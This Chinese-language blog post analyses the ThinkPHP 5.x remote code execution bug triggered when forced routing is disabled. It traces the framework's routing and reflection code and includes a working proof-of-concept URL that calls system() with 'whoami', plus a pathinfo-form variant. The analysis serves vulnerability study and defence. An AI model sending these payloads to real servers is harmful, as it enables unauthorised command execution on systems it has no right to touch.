Thinkphp 5.x 未开启强制路由导致RCE分析

这种类型的漏洞是因为框架对于控制器名没有进行足够的校验,在没有开启强制路由的情况下,攻击者可以通过兼容模式调用任意的控制器的操作,从而达到远程命令执行。

1. 影响版本

5.0.7<=thinkphp<=5.0.22
5.1.x

2. 漏洞复现

环境

thinkphp5.0.20+php5.6.27+apache+phpstorm

POC

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V1MdFF0z-1648718151043)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331163142899.png)]

参数解释

s=index/\think\app/invokefunction,在兼容模式即未开启强制路由情况下,框架可以通过s参数获取pathinfo信息,然后进行路由的解析与调度。这里我们调用的是index模块下的app控制器的invokefunction方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TzDGJ7Ia-1648718151044)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331163418444.png)]

function=call_user_func_array,invokefunction方法的第一个参数

vars[0]=system&vars[1][]=whoami,invokefunction方法的第二个参数

3. 漏洞分析

从入口文件开始看

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bh8zsTw7-1648718151044)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164035344.png)]

加载一些框架文件后,进入run函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dciY41Nq-1648718151044)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164109925.png)]

首先实例化一个requests对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-neBPB96q-1648718151045)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164157869.png)]

往下一直走,开始进行路由的检测与解析,前面文章已经讲过路由解析的步骤,这里直接看结果

这里的路由解析就是根据pathinfo中的/来拆分出模块,控制器,操作的。我们上面也说过如果开启的强制路由,这个漏洞就失效了,这是因为如果开启了强制路由,我们还想调用invokefunction函数就得这么写:/public/index.php/index/think\app/invokefunction/function/call_user_func_array/vars[0]/phpinfo/vars[1][]/1,但是由于在pathinfo模式下,$_SERVER['PATH_INFO']会自动将URL中的“\”替换为“/”,导致破坏掉payload格式无法正常路由解析,所以必须是兼容模式。
参考:https://paper.seebug.org/888/#poc

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BF6JwDbM-1648718151045)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331164314909.png)]

拿到路由调度信息后,我们继续往下走,到139行进入exec函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lQlKO6pF-1648718151045)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331165429745.png)]

因为type=module,进入红框分支

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ip9Kr46j-1648718151046)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331165554447.png)]

跟进module函数

public static function module($result, $config, $convert = null)
    {
        if (is_string($result)) {
            $result = explode('/', $result);
        }

        $request = Request::instance();

        if ($config['app_multi_module']) {
            // 多模块部署
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
            $bind      = Route::getBind('module');
            $available = false;

            if ($bind) {
                // 绑定模块
                list($bindModule) = explode('/', $bind);

                if (empty($result[0])) {
                    $module    = $bindModule;
                    $available = true;
                } elseif ($module == $bindModule) {
                    $available = true;
                }
            } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {
                $available = true;
            }

            // 模块初始化
            if ($module && $available) {
                // 初始化模块
                $request->module($module);
                $config = self::init($module);

                // 模块请求缓存检查
                $request->cache(
                    $config['request_cache'],
                    $config['request_cache_expire'],
                    $config['request_cache_except']
                );
            } else {
                throw new HttpException(404, 'module not exists:' . $module);
            }
        } else {
            // 单一模块部署
            $module = '';
            $request->module($module);
        }

        // 设置默认过滤机制
        $request->filter($config['default_filter']);

        // 当前模块路径
        App::$modulePath = APP_PATH . ($module ? $module . DS : '');

        // 是否自动转换控制器和操作名
        $convert = is_bool($convert) ? $convert : $config['url_convert'];

        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }

        // 设置当前请求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);

        // 监听module_init
        Hook::listen('module_init', $request);

        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }

        // 获取当前操作名
        $action = $actionName . $config['action_suffix'];

        $vars = [];
        if (is_callable([$instance, $action])) {
            // 执行操作方法
            $call = [$instance, $action];
            // 严格获取当前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);

        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }

        Hook::listen('action_begin', $call);

        return self::invokeMethod($call, $vars);
    }

大概就是将模块,控制器,方法分配给变量,然后到最后一行进入invokeMethod

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O528sNLT-1648718151046)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331165843983.png)]

重点来了,看代码大概就是首先反射出app类的方法,根据上图红框可知,这里反射了出了app类的invokefunction方法的类对象

    public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 静态方法
            $reflect = new \ReflectionMethod($method);
        }

        $args = self::bindParams($reflect, $vars);

        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }

然后利用bindParams绑定参数,可以看到args就是我们传入的参数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cIJVuxyW-1648718151046)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331170224417.png)]

接着往下,到了343行,刚才的反射类调用invokeArgs方法来执行本身的invokefunction函数,并传入$args参数[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5ooz07bP-1648718151046)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331170346590.png)]

这时候可以看到,我们就进入了invokeFunction函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gZZXujgb-1648718151047)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331170541642.png)]

首先反射出$function对应的函数的类对象,也就是反射出call_user_func_array的类对象

然后到最后319行,执行call_user_func_array函数并传入$args参数,这就导致了远程代码执行漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-APCOKoH0-1648718151047)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331170625592.png)]

往下走,可以看到最终data为命令执行的结果,最终利用send方法回传给客户端

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TIui8yyB-1648718151047)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220331171511344.png)]

参考链接

https://xz.aliyun.com/t/8312

https://paper.seebug.org/888/#poc

https://xz.aliyun.com/t/8143#toc-8

https://www.bilibili.com/video/BV1bu411S7wJ?p=161

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值